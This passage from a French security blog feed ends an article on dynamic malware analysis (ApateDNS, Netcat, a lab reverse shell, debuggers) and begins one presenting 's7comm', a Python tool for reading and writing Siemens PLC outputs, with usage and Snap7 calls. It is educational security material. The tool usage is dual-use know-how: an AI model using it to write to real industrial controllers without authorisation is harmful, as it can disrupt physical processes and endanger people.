<figure id="post-15778 media-15778" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15778 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4.jpg" alt="" width="605" height="460" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4-251x191.jpg 251w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-4-51x39.jpg 51w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 3 : Extrait de résultat de Regshot après lancement du programme ckr.exe</i></p>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<h2 style="margin-bottom: 15px; margin-top: 25px; text-align: justify;"><span style="mso-list: Ignore;">2)<span style="font: 7pt 'Times New Roman';">     </span></span>Analyse réseau</h2>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">De nombreux <i>malwares</i> récupèrent des ressources ou transmettent des informations sur le réseau (en particulier vers des serveurs C2 « Command &amp; Control »). De ce fait il est très intéressant de réaliser une analyse réseau pour déterminer les actions du <i>malware</i>. L’environnement d’analyse n’étant pas connecté à internet, il se peut qu’une partie des fonctionnalités du <i>malware</i> restent non accessibles. Cependant il est préférable de récupérer de telles informations en faisant une analyse manuelle approfondie plutôt que de permettre au <i>malware</i> de se propager (une sortie directe vers Internet peut néanmoins être fortement utile aux équipes d’analyse).</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Quelques outils peuvent permettre d’effectuer une analyse réseau d’un <i>malware</i> :</div>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;"><i>ApateDNS</i> permet de récupérer les requêtes DNS faites par le <i>malware</i>. Il permet également de simuler les réponses d’une adresse IP spécifiée en écoutant sur le port 53 de la machine locale <i>via</i> le protocole UDP. Il affiche alors les requêtes reçues en hexadécimal ou en ASCII. Par défaut <i>ApateDNS</i> utilise la passerelle (<i>gateway</i>) ou les paramètres de DNS courants dans les réponses DNS.</li>
</ul>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<figure id="post-15780 media-15780" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15780 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5.png" alt="" width="605" height="439" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5.png 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5-263x191.png 263w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-5-54x39.png 54w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 4 : Interception des requêtes DNS et simulation des réponses par ApateDNS en utilisant l’IP 192.168.120.1</i></p>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;"><i>Netcat</i> permet le scan de port, <i>tunneling</i>, <i>proxying</i>, transfert de ports et bien d’autres choses sur des connections aussi bien entrantes que sortantes. Il existe deux modes de fonctionnement pour <i>Netcat</i>, le mode écoute, pour lequel <i>Netcat</i> agit comme un serveur, et le mode connexion pour lequel il agit comme un client.</li>
</ul>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;"><u>Remarque :</u> les <i>malwares</i> utilisent souvent les ports 80 et 443 (HTTP et HTTPS respectivement) car ces ports ne sont généralement pas bloqués par les différents équipements de sécurité sur le réseau des entreprises (firewall, proxy, etc.).</div>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;"><u>Remarque 2 :</u> certains <i>malwares</i> simulent des connexions usuelles afin de cacher leur comportement et tirer parti d’une méconnaissance de nombreux analystes réseau qui ne se concentrent que sur le début d’une session. Par exemple, en figure 5 le <i>reverse shell RShell</i> est instancié avec une redirection du domaine <i>www.google.com</i> vers l’hôte local 127.0.0.1 à l’aide d’<i>ApateDNS</i>. L’analyste écoute ensuite le trafic réseau sur le port 80 local avec <i>Netcat</i>.</div>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;">Dans ce résultat, <i>RShell</i> simule une requête POST à <i>www.google.com</i> (comme le montre le point 2 sur la figure) mais par la suite, l’analyste récupère bien un <i>shell</i> (visible sur le point 3).</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<figure id="post-15782 media-15782" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15782 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6.jpg" alt="" width="605" height="344" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6-336x191.jpg 336w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-6-69x39.jpg 69w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
<div class="separator" style="clear: both; text-align: center;"></div>
<p><i>Figure 5 : Résultat renvoyé par Netcat lors de l’exécution de RShell en redirigeant les requêtes vers l’hôte grâce à ApateDNS</i></p>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;"><i>Wireshark</i> permet la capture de paquets et de création de logs pour le trafic réseau. Il permet la visualisation, l’analyse de trames et l’analyse en détail de paquets individuels.</li>
</ul>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
<figure id="post-15784 media-15784" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15784 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7.png" alt="" width="566" height="398" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7.png 566w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7-272x191.png 272w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-7-55x39.png 55w" sizes="auto, (max-width: 566px) 100vw, 566px" /></figure>
<p><i>Figure 6 : Capture d’écran d’une analyse Wireshark</i></p>
</div>
<div class="Enum1Suite">
<div style="text-align: justify;">Une des fonctionnalités très utiles de <i>Wireshark</i> est la fonctionnalité <i>Follow TCP stream</i> qui permet à partir d’un paquet de reconstituer le flot entier auquel il appartient.</div>
</div>
<div class="separator" style="clear: both; text-align: center;"></div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div>
<figure id="post-15786 media-15786" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15786 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8.jpg" alt="" width="605" height="373" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8.jpg 605w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8-310x191.jpg 310w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-8-63x39.jpg 63w" sizes="auto, (max-width: 605px) 100vw, 605px" /></figure>
</div>
<div style="text-align: center;">Figure 7 : Fonctionnalité <i>Follow TCP Stream</i> de <i>Wireshark</i></div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;"><i>Wireshark</i> peut permettre à l’analyste de comprendre comment le <i>malware</i> réalise ses communications réseau.</div>
</div>
<h2 style="margin-bottom: 15px; margin-top: 25px; text-align: justify;"><span style="mso-list: Ignore;">3)<span style="font: 7pt 'Times New Roman';">     </span></span>Analyse via débogueur</h2>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Étape la plus complexe de l’analyse, l’analyse dynamique avancée correspond au passage de l’exécutable dans un débogueur afin de déterminer les actions qu’il effectue les unes après les autres, ainsi que les différents états qu’il génère sur le poste analysé. Il existe plusieurs débogueurs utilisables pour cette étape, notamment <i>IDA Pro</i>, <i>OllyDbg</i> et <i>WinDbg</i>.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Cette étape est extrêmement efficace mais nécessite de nombreuses connaissances et beaucoup de temps. Dans cette partie sera présenté un aperçu de ce qu’il est possible de faire avec un débogueur. Il est important de retenir que l’analyse dynamique révèle ce que le <i>malware</i> fait véritablement, contrairement à l’analyse statique qui montre ce que le <i>malware</i> est en théorie capable de faire. Certains bouts de code présents dans le <i>malware</i> peuvent en effet ne jamais être appelés, et les repérer durant l’analyse statique peut induire en erreur l’analyste sur l’action du <i>malware</i>.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">L’utilisation d’un débogueur permet également d’obtenir des informations impossibles à récupérer avec un désassemblage, comme par exemple les valeurs prises par les registres au fur et à mesure de l’exécution.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Il existe en fait deux types de débogueurs, ceux dits <i>source-level</i> qui sont généralement intégrés dans les <i>IDE</i> et bien connus des développeurs, leur permettant d’agir sur le code source afin de déterminer les comportements étranges de leurs programmes, et ceux dits <i>assembly-level</i> ou <i>low-level</i> qui agissent sur le code assembleur. C’est ce deuxième type de débogueur qui est utilisé par les analystes de <i>malware</i>, étant donné qu’ils n’ont pas accès au code source de l’application.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">De même il existe deux niveaux de débogage, celui en mode utilisateur, où le débogueur est lancé sur le même système d’exploitation que le programme en cours d’exécution, et celui plus complexe en mode noyau, qui permet de déboguer des applications ayant ce niveau d’interactions, mais qui nécessite deux machines reliées, l’une faisant tourner le programme, et l’autre permettant le débogage. Une deuxième machine est en effet nécessaire car il n’existe qu’un noyau par système d’exploitation, et si un <i>breakpoint</i> est mis sur une instruction exécutée par ce noyau, plus aucune application ne pourra répondre, le débogueur compris.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Dans les deux cas d’exécution, le résultat sera la mise en suspens du programme. Dans le premier cas le programme sera stoppé dès le point d’entrée (sauf configuration particulière) alors que dans le deuxième il sera arrêté là où il se trouvait. Une fois cela effectué, il est possible d’agir de différentes manières sur le programme :</div>
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Avancer d’une instruction (<i>single-stepping</i>) : cette action est généralement utilisée uniquement sur les passages identifiés comme importants afin d’obtenir des détails sur le fonctionnement comme les valeurs prises par les registres.</li>
<li style="text-align: justify;">Avancer d’une fonction (<i>Stepping-over</i>) : cela peut permettre de passer des détails inutiles. Par exemple si le programme appelle la fonction <i>LoadLibrary</i>, il n’est pas nécessaire de rentrer dans les détails de cette fonction.<span style="font: 7pt 'Times New Roman';"> </span></li>
<li style="text-align: justify;">Rentrer dans une fonction (<i>Stepping-into</i>) : en opposition à l’action précédente, il peut parfois être intéressant de rentrer dans une fonction pour en comprendre les détails.</li>
<li style="text-align: justify;">Avancer jusqu’au prochain <i>breakpoint</i> : pour cela il faut souvent placer un <i>breakpoint</i> plus loin dans le code et relancer l’exécution, le débogueur s’arrêtera automatiquement au <i>breakpoint</i>.</li>
<li style="text-align: justify;">Modifier l’exécution d’un programme : par exemple pour éviter l’appel à une fonction, il est possible de mettre un <i>breakpoint</i> sur cette fonction et, lorsque l’interruption est levée, changer le pointeur d’instruction à après son appel.</li>
</ul>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Il existe trois types de <i>breakpoints</i> :</div>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Les <i>software breakpoints</i> : ces points d’arrêt sont utilisés pour faire en sorte que le programme s’arrête lorsque l’instruction sur laquelle ils sont placés est appelée. Pour réaliser cela, le débogueur remplace le premier octet de l’instruction par <i>0xCC</i>, l’instruction pour INT3.</li>
</ul>
<div style="text-align: center;">
<figure id="post-15788 media-15788" class="align-none"><img loading="lazy" decoding="async" class="size-full wp-image-15788 aligncenter" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9.png" alt="" width="512" height="111" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9.png 512w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9-437x95.png 437w, https://www.riskinsight-wavestone.com/wp-content/uploads/2021/05/Image-9-71x15.png 71w" sizes="auto, (max-width: 512px) 100vw, 512px" /></figure>
</div>
</div>
<div class="MsoCaption" style="margin-bottom: 15px; margin-top: 15px; text-align: center;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p>Figure 8 : Remplacement du premier octet de l’instruction par 0xCC lors d’un <i>software breakpoint</i>.</p>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Les <i>hardware breakpoints</i> : ils sont placés sur une adresse mémoire, et déclenchés lorsque le programme tente d’accéder à cette ressource. L’avantage est qu’ils ne dépendent pas de la valeur présente dans cette adresse mémoire, et qu’ils interviennent à l’accès et non à l’exécution. Néanmoins ils nécessitent des registres particuliers qui sont en nombre limités sur un système.</li>
</ul>
</div>
<div class="Enum1" style="margin-bottom: 4px; margin-top: 4px;">
<ul style="list-style-type: disc;">
<li style="text-align: justify;">Les <i>conditional breakpoints</i> : ce sont des <i>software breakpoints</i> qui ne vont déclencher l’arrêt que si une certaine condition est vérifiée. Cela peut par exemple être utile si l’on veut s’arrêter à l’appel d’une fonction que si un certain paramètre est appelé.</li>
</ul>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;"></div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Ces différentes techniques d’analyse dynamique viennent en complément d’une analyse statique.</div>
</div>
<div class="MsoNormalIndent" style="margin-bottom: 5px; margin-top: 5px;">
<div style="text-align: justify;">Il convient néanmoins de prendre toutes les précautions nécessaires avant de se lancer dans une analyse de malware. Chaque résultat obtenu par les analystes doit être contrevérifié pour s’assurer qu’aucune technique anti-reverse n’est mise en œuvre dans le binaire.</div>
</div>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2016/06/reverse-engineering-focus-sur-lanalyse/">Reverse Engineering &#8211; focus sur l’analyse dynamique de malware</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</title>
		<link>https://www.riskinsight-wavestone.com/2016/05/s7comm-un-outil-de-communication-avec_24/</link>
		
		<dc:creator><![CDATA[Alexandrine Torrents]]></dc:creator>
		<pubDate>Wed, 25 May 2016 13:43:46 +0000</pubDate>
				<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[Deep-dive]]></category>
		<category><![CDATA[Ethical Hacking & Incident Response]]></category>
		<category><![CDATA[automatisation]]></category>
		<category><![CDATA[outil]]></category>
		<category><![CDATA[programmable]]></category>
		<category><![CDATA[s7comm]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15506</guid>

					<description><![CDATA[<p>La sécurité des Systèmes d’Informations Industriels (SII) est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une action directe dans le monde « physique » à l’aide d’instructions provenant du monde « logique » et pilotent...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2016/05/s7comm-un-outil-de-communication-avec_24/">S7comm : un outil de communication avec les Automates Programmables Industriels Siemens</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;">
<figure id="post-15913 media-15913" class="align-center"><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-15913" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu.jpg" alt="" width="320" height="213" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu.jpg 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu-287x191.jpg 287w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/indu-59x39.jpg 59w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<p>La sécurité des <span class="Miseenvaleur" style="color: #00477f;"><b>Systèmes d’Informations Industriels (SII)</b></span> est aujourd’hui au centre des préoccupations dans les entreprises concernées. Ces systèmes permettent une <span class="Miseenvaleur" style="color: #00477f;"><b>action directe dans le monde « physique »</b></span> à l’aide d’instructions provenant du <span class="Miseenvaleur" style="color: #00477f;"><b>monde « logique »</b></span> et pilotent les <span class="Miseenvaleur" style="color: #00477f;"><b>outils de production</b></span> de nombreuses entreprises.</p>
<p>Du fait du <span class="Miseenvaleur" style="color: #00477f;"><b>manque de sécurité </b></span>de ces systèmes, de nombreuses attaques ont été recensées dans le monde ces dernières années. La dernière en date ayant eu le plus gros impact est <span class="Miseenvaleur" style="color: #00477f;"><b><b><b>l&rsquo;attaque du réseau électrique de l&rsquo;Ukraine en décembre dernier [1]</b></b></b></span>. De nombreuses personnes se sont retrouvées sans électricité suite à une attaque du réseau industriel.</p>
<p>Le plus bas niveau des SI industriels est le <span class="Miseenvaleur" style="color: #00477f;"><b><b>réseau de production</b></b></span>. Les <span class="Miseenvaleur" style="color: #00477f;"><b>capteurs et les actionneurs</b></span> sont reliés aux entrées/sorties des automates industriels. Les protocoles utilisés pour communiquer avec ces automates sont généralement des protocoles propriétaires. Parmi les plus utilisés, on retrouve : <span class="Miseenvaleur" style="color: #00477f;"><b>Modbus, S7comm, DNP3, Profibus, Hart</b></span>… Ces protocoles manquent souvent des principales fonctions de sécurité à savoir <span class="Miseenvaleur" style="color: #00477f;"><b><b>l’authentification et le chiffrement des flux</b></b></span>. Il est donc possible de rejouer des requêtes et de réaliser des actions malveillantes directement sur les automates.<br />
<span class="Miseenvaleur" style="color: #00477f;"><b>Modbus</b></span>, protocole de <span class="Miseenvaleur" style="color: #00477f;"><b>Schneider Electric</b></span> publiquement documenté et libre de droits, est une norme de référence pour les communications industrielles. De nombreux outils utilisant ce protocole existent pour communiquer avec les automates Schneider :</p>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l2 level1 lfo6; tab-stops: 35.4pt; text-indent: -18pt;">
<ul>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modbusclient</i><span style="text-indent: -18pt;"> [2], permettant de lire et d&rsquo;écrire sur les coils / registres de l&rsquo;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modicon_command</i><span style="text-indent: -18pt;"> [3], permettant d&rsquo;arrêter / démarrer l&rsquo;automate à distance</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le module Metasploit </span><i style="text-indent: -18pt;">modicon_stux_transfer </i><span style="text-indent: -18pt;">[4], permettant de récupérer / télécharger le code de l&rsquo;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">Le script perl </span><i style="text-indent: -18pt;">mbtget</i><span style="text-indent: -18pt;"> [5], permettant de lire et d&rsquo;écrire sur les coils / registres de l&rsquo;automate</span></li>
<li><span style="font-family: 'symbol'; font-size: 12pt; text-indent: -18pt;"><span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">       </span></span><span style="text-indent: -18pt;">La librairie python </span><i style="text-indent: -18pt;">Pymodbus</i><span style="text-indent: -18pt;"> [6], permettant de communiquer avec des automates Schneider</span></li>
</ul>
</div>
<div class="MsoNormal">En revanche, le protocole <span class="Miseenvaleur" style="color: #00477f;"><b>S7 Communication (S7comm) </b></span>est quant à lui nettement moins fourni en outils,  bien qu&rsquo;utilisé par tous les automates <span class="Miseenvaleur" style="color: #00477f;"><b>Siemens</b></span>.<br />
Il existe cependant la <span class="Miseenvaleur" style="color: #00477f;"><b>bibliothèque Snap7</b></span> [7] ainsi qu&rsquo;un wrapper Python utilisant ce protocole.</div>
<div class="MsoNormal">Nous nous sommes ainsi lancés dans le <span class="Miseenvaleur" style="color: #00477f;"><b>développement d&rsquo;un nouveau script baptisé « s7comm »</b></span>, permettant facilement de dialoguer avec les automates Siemens.</div>
<div class="MsoNormal"></div>
<div class="MsoNormal" style="break-after: avoid; page-break-after: avoid;"><span class="Miseenvaleur" style="color: #00477f;"><b>Présentation de s7comm </b></span>s7comm [8] est un <span class="Miseenvaleur" style="color: #00477f;"><b>script python</b></span> utilisant la librairie Snap7 permettant de <span class="Miseenvaleur" style="color: #00477f;"><b>lire et écrire sur les sorties des automates Siemens</b></span>.</div>
<div class="MsoNormal">Les <span class="Miseenvaleur" style="color: #00477f;"><b>différents arguments </b></span>sont directement spécifiés en ligne de commande, exactement comme pour le script <span class="Miseenvaleur" style="color: #00477f;"><b>mbtget</b></span> pour le protocole <span class="Miseenvaleur" style="color: #00477f;"><b>Modbus</b></span> :</div>
<div></div>
<div style="background: #dce5ec; border: 1pt solid #308987; margin-left: 42.55pt; margin-right: 0cm; padding: 1pt 4pt;">
<div class="LignedecommandeCxSpFirst" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;"><span lang="EN-US">$ python<br />
s7comm.py -a address -m mode -n number -d data ip_address</span><b></b></div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;"></div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-a     Adresse à partir de laquelle les<br />
données vont être lues / écrites</div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-m [r|w]     Choix du mode de<br />
fonctionnement : lecture ou écriture sur l&rsquo;automate</div>
<div class="LignedecommandeCxSpMiddle" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-n     Nombre de données à lire /<br />
écrire</div>
<div class="LignedecommandeCxSpLast" style="background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; background-position: initial; background-repeat: initial; background-size: initial; margin-left: 0cm;">-d     Données en bit à écrire (exemple<br />
0110)<span style="font-size: 11pt;"> </span></div>
</div>
<div></div>
<div class="MsoNormal">Les <span class="Miseenvaleur" style="color: #00477f;"><b>deux principales </b></span>fonctions utilisées de la <span class="Miseenvaleur" style="color: #00477f;"><b>bibliothèque Snap 7 </b></span>sont les suivantes :</div>
<div class="MsoNormal"><span lang="EN-US" style="font-family: 'courier new'; mso-ansi-language: EN-US;">             s7.read_area(snap7.types.areas[&lsquo;PA&rsquo;], 0, start, size)</span></div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Cette fonction permet de <span class="Miseenvaleur" style="color: #00477f;"><b>lire des données sur les sorties de l&rsquo;automate</b></span> en utilisant le protocole S7comm.<br />
Elle admet quatre arguments :</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Le <span class="Miseenvaleur" style="color: #00477f;"><b>type</b></span> de données : dans ce cas, il s&rsquo;agit des <span class="Miseenvaleur" style="color: #00477f;"><b>sorties numériques </b></span>(« tout ou rien », tor)<span class="Miseenvaleur" style="color: #00477f;"><b> de l&rsquo;automate</b></span>.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->2. Le <span class="Miseenvaleur" style="color: #00477f;"><b>numéro de la base de données</b></span> : dans le cas des sorties numériques, cette option n&rsquo;est pas utilisée et a donc toujours la valeur 0.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->3. Le <span class="Miseenvaleur" style="color: #00477f;"><b>byte d&rsquo;offset </b></span>: il s&rsquo;agit du premier byte lu.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]--><span style="font-family: 'times new roman' , 'serif'; font-size: 12pt;">4.<span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">      </span></span><!--[endif]-->Le <span class="Miseenvaleur" style="color: #00477f;"><b>nombre</b></span> de bytes à lire.</div>
<div></div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l5 level1 lfo3; tab-stops: 35.4pt; text-indent: -18pt;"><span lang="EN-US" style="font-family: 'courier new'; mso-ansi-language: EN-US;">s7.write_area(snap7.types.areas[&lsquo;PA&rsquo;], 0, start, data)</span></div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Cette fonction permet <span class="Miseenvaleur" style="color: #00477f;"><b>d&rsquo;écrire des données sur les sorties de l&rsquo;automate</b></span>.</div>
<div class="Enum1" style="margin-left: 49.6pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">Elle a quatre arguments :</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Le <span class="Miseenvaleur" style="color: #00477f;"><b>type de données </b></span>: dans ce cas, il s&rsquo;agit des sorties numériques de l&rsquo;automate.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->2. Le <span class="Miseenvaleur" style="color: #00477f;"><b>numéro de la base de données</b></span> : dans le cas des sorties numériques, cette option n&rsquo;est pas utilisée et a donc toujours la valeur 0.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->3. Le <span class="Miseenvaleur" style="color: #00477f;"><b>byte d&rsquo;offset </b></span>: il s&rsquo;agit du premier byte sur lequel on va écrire.</div>
<div class="Enum2" style="margin-left: 99.8pt; mso-list: l3 level1 lfo4; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->4. Les <span class="Miseenvaleur" style="color: #00477f;"><b>données</b></span> à écrire sous forme de bytearray.</div>
<div></div>
<div class="MsoNormal">Chaque sortie de l&rsquo;automate a une <span class="Miseenvaleur" style="color: #00477f;"><b>valeur sur un bit</b></span>. <span class="Miseenvaleur" style="color: #00477f;"><b>Huit sorties</b></span> peuvent donc être écrites sur un byte. Plusieurs opérations doivent donc être réalisées <span class="Miseenvaleur" style="color: #00477f;"><b>avant d&rsquo;envoyer la commande</b></span> puisque les arguments <span style="font-family: 'courier new';">« address »</span> et <span style="font-family: 'courier new';">« number »</span> donnés en ligne de commande font référence à des bits. Notamment, si le premier bit à lire n&rsquo;est pas le premier bit du byte, il y a un offset à prendre en compte.</div>
<div class="MsoNormal">Pour finir, voici deux exemples d&rsquo;utilisation :</div>
<div></div>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l1 level1 lfo5; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]-->1. Lecture de 8 bits à partir de l&rsquo;adresse 0 :</div>
<div class="Enum1" style="margin-left: 67.05pt; mso-list: none; tab-stops: 35.4pt; text-indent: 0cm;">
<figure id="post-15922 media-15922" class="align-center"><img loading="lazy" decoding="async" class="size-full wp-image-15922 alignnone" src="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1.png" alt="" width="320" height="135" srcset="https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1.png 320w, https://www.riskinsight-wavestone.com/wp-content/uploads/2016/03/last-1-71x30.png 71w" sizes="auto, (max-width: 320px) 100vw, 320px" /></figure>
</div>
<div class="Enum1" style="margin-left: 88.9pt; mso-list: l1 level1 lfo5; tab-stops: 35.4pt; text-indent: -18pt;"><!-- [if !supportLists]--><span style="font-family: 'times new roman' , 'serif'; font-size: 12pt;">2.<span style="font-family: 'times new roman'; font-size: 7pt; font-stretch: normal;">      </span></span><!--[endif]-->Écriture de la valeur 1 sur 8 bits à partir de l&rsquo;adresse 0</div>
